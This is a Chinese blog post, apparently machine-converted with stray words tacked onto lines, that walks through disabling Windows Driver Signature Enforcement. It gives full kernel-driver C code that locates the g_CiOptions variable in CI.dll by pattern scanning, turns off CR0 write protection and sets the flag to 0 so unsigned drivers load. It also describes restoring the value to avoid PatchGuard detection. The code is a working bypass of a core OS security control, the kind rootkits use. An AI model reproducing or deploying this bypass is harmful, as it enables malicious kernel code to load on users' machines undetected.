如今的驱动,必须都有签名才能加载.那么如何加载无签名的驱动模块那.
下面能够说下方法.可是挺尴尬的是,代码必须在驱动中编写.因此就造成了
你必须一个驱动带有一个签名加载进去.执行你的代码.pass掉DSE以后之后加载驱动就能够彻底不用签名了.安全
原理:
原理就是Path一下CI内核模块.将一个全局变量置为0便可.可是受PG保护.不过PG要检测这个位置不会马上保护.因此能够修改完加载完你的无驱动签名的驱动.而后修改回来便可.测试
全局变量有三个. 0 6 8 0表明禁用 6表明开启. 8表明能够加载测试签名.3d
既然上面说了.是修改一个全局变量.那么打开CI看看修改那个便可.code
结果
blog
虽然提示你须要签名.可是能够用PChunter看到.其实已经加载了.ci
一共三个值. 0 6 8 6表明开启驱动签名 0表明关闭 8 表明开启测试驱动签名it
代码:io
#include "Driver.h" #include <wdm.h> //KLDR_DATA_TABLE_ENTRY typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; USHORT LoadCount; USHORT TlsIndex; union { LIST_ENTRY HashLinks; struct { PVOID SectionPointer; ULONG CheckSum; }; }; union { struct { ULONG TimeDateStamp; }; struct { PVOID LoadedImports; }; }; }LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; VOID IteratorModule(PDRIVER_OBJECT pDriverObj) { PLDR_DATA_TABLE_ENTRY pLdr = NULL; PLIST_ENTRY pListEntry = NULL; PLIST_ENTRY pCurrentListEntry = NULL; PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL; pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection; pListEntry = pLdr->InLoadOrderLinks.Flink; pCurrentListEntry = pListEntry->Flink; while (pCurrentListEntry != pListEntry) //先后不相等 { //获取LDR_DATA_TABLE_ENTRY结构 pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks); if (pCurrentModule->BaseDllName.Buffer != 0) { DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p\r\n", pCurrentModule->BaseDllName, pCurrentModule->DllBase, (LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage); } pCurrentListEntry = pCurrentListEntry->Flink; } } LONGLONG GetModuleBaseByName(PDRIVER_OBJECT pDriverObj,UNICODE_STRING ModuleName) { PLDR_DATA_TABLE_ENTRY pLdr = NULL; PLIST_ENTRY pListEntry = NULL; PLIST_ENTRY pCurrentListEntry = NULL; PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL; pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection; pListEntry = pLdr->InLoadOrderLinks.Flink; pCurrentListEntry = pListEntry->Flink; while (pCurrentListEntry != pListEntry) //先后不相等 { //获取LDR_DATA_TABLE_ENTRY结构 pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks); if (pCurrentModule->BaseDllName.Buffer != 0) { UNICODE_STRING uCmp1 = RTL_CONSTANT_STRING(L"HelloWorld"); UNICODE_STRING uCmp2 = RTL_CONSTANT_STRING(L"HelloWorld"); if (RtlCompareUnicodeString(&pCurrentModule->BaseDllName, &ModuleName, TRUE) == 0) { DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p\r\n", pCurrentModule->BaseDllName, pCurrentModule->DllBase, (LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage); return (LONGLONG)pCurrentModule->DllBase; } } pCurrentListEntry = pCurrentListEntry->Flink; } return 0; } typedef struct _BASEMANGER { LONGLONG StartBase; LONGLONG EndBase; }BASEMANGER,*PBASEMANGER; BASEMANGER GetModuleBaseByNames(PDRIVER_OBJECT pDriverObj, UNICODE_STRING ModuleName) { PLDR_DATA_TABLE_ENTRY pLdr = NULL; PLIST_ENTRY pListEntry = NULL; PLIST_ENTRY pCurrentListEntry = NULL; PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL; pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection; pListEntry = pLdr->InLoadOrderLinks.Flink; pCurrentListEntry = pListEntry->Flink; BASEMANGER BaseManger = { 0 }; while (pCurrentListEntry != pListEntry) //先后不相等 { //获取LDR_DATA_TABLE_ENTRY结构 pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks); if (pCurrentModule->BaseDllName.Buffer != 0) { UNICODE_STRING uCmp1 = RTL_CONSTANT_STRING(L"HelloWorld"); UNICODE_STRING uCmp2 = RTL_CONSTANT_STRING(L"HelloWorld"); if (RtlCompareUnicodeString(&pCurrentModule->BaseDllName, &ModuleName, TRUE) == 0) { DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p\r\n", pCurrentModule->BaseDllName, pCurrentModule->DllBase, (LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage); BaseManger.StartBase = (LONGLONG)pCurrentModule->DllBase; BaseManger.EndBase = (LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage; return BaseManger; } } pCurrentListEntry = pCurrentListEntry->Flink; } BaseManger.StartBase = 0; BaseManger.EndBase = 0; return BaseManger; } //核心实现代码 DWORD64 g_CiOptionsAddress; int g_CiOptions = 6; KIRQL WPOFFx64() { KIRQL irql = KeRaiseIrqlToDpcLevel(); UINT64 cr0 = __readcr0(); cr0 &= 0xfffffffffffeffff; _disable(); __writecr0(cr0); return irql; } KIRQL DisableMemProtected() { KIRQL irql = KeRaiseIrqlToDpcLevel(); UINT64 cr0 = __readcr0(); cr0 &= 0xfffffffffffeffff; _disable(); __writecr0(cr0); return irql; } void EnbaleMemProtected(KIRQL irql) { UINT64 cr0 = __readcr0(); cr0 |= 0x10000; _enable(); __writecr0(cr0); KeLowerIrql(irql); } BOOLEAN DisableDse(DWORD64 CiStartAddress, DWORD64 CiEndAddress) { UNICODE_STRING FunctionName = RTL_CONSTANT_STRING(L"PsGetCurrentProcess"); DWORD64 PsGetCurrentProcessAddress = (DWORD64)MmGetSystemRoutineAddress(&FunctionName); DWORD64 SerchAddress = CiStartAddress; DWORD64 Address; KIRQL Myirql; int nCount = 0; int isFind = 0; int i = 0; int isRead = 1; if (SerchAddress == 0) { return 0; } __try { KIRQL irql = KeRaiseIrqlToDpcLevel(); while (SerchAddress++) { if (SerchAddress + 2 > CiEndAddress) { break; } isRead = 1; for (i = 0; i < 2; i++) { if (MmIsAddressValid((PDWORD64)SerchAddress + i) == FALSE) { isRead = 0; break; } } if (isRead == 1) { if (*(PUSHORT)(SerchAddress) == 0x15ff) { Address = SerchAddress + *(PLONG)(SerchAddress + 2) + 6; if (MmIsAddressValid((PDWORD64)Address)) { if (*(PDWORD64)Address == PsGetCurrentProcessAddress) { while (nCount < 100) { nCount++; SerchAddress--; if (*(PUSHORT)(SerchAddress) == 0x0d89) { isFind = 1; break; } } break; } } } } } KeLowerIrql(irql); } __except (1) { DbgPrint("搜索数据失败!"); } if (isFind == 1) { //DbgPrint("SerchAddress:%p\n", SerchAddress); g_CiOptionsAddress = SerchAddress + *(PLONG)(SerchAddress + 2) + 6; g_CiOptions = *(PLONG)g_CiOptionsAddress; DbgPrint("地址:%p 初始化值数据:%08X\n", g_CiOptionsAddress, g_CiOptions); Myirql = DisableMemProtected(); *(PLONG)g_CiOptionsAddress = 0; //DisableDse 修改成0便可. DbgPrint("地址:%p 修改数据为:%08X\n", g_CiOptionsAddress, *(PLONG)g_CiOptionsAddress); EnbaleMemProtected(Myirql); return TRUE; } else { DbgPrint("搜索数据失败!\n"); return FALSE; } } void EnbalDse() //开启DSE保护 { KIRQL Myirql; Myirql = DisableMemProtected(); *(PLONG)g_CiOptionsAddress = 6; //DisableDse 修改成6便可. DbgPrint("开启签名验证成功.值修改成 %d \r\n", *(PLONG)g_CiOptionsAddress); EnbaleMemProtected(Myirql); } NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegPath) { ULONG iCount = 0; NTSTATUS ntStatus; UNICODE_STRING uModuleName; BASEMANGER Base = { 0 }; RtlInitUnicodeString(&uModuleName, L"CI.dll"); pDriverObj->DriverUnload = DriverUnLoad; Base = GetModuleBaseByNames(pDriverObj, uModuleName); if (Base.StartBase != 0 && Base.EndBase != 0) { DisableDse(Base.StartBase, Base.EndBase);//传入CI基址 CICiEndAddress //EnbalDse(); //关闭DSE } return STATUS_SUCCESS; }
ps: 文章是原创.可是核心原理是参考了一个看流星论坛的一个大佬的。本身将它的代码拷贝了下来稍微改了改。加了遍历模块代码而已。
原理就是Path CI. 大佬的代码就是寻找特征定位全局变量。既然知道原理了。那么定位的话就抄一下了。
另外一篇文章是参考了 安全客的一个漏洞文章。如今找不到了。另外一篇所讲的是 标志有三种 0 6 8 0是禁用 6是开启 8是启动测试签名。因此在这里直接使用了。变量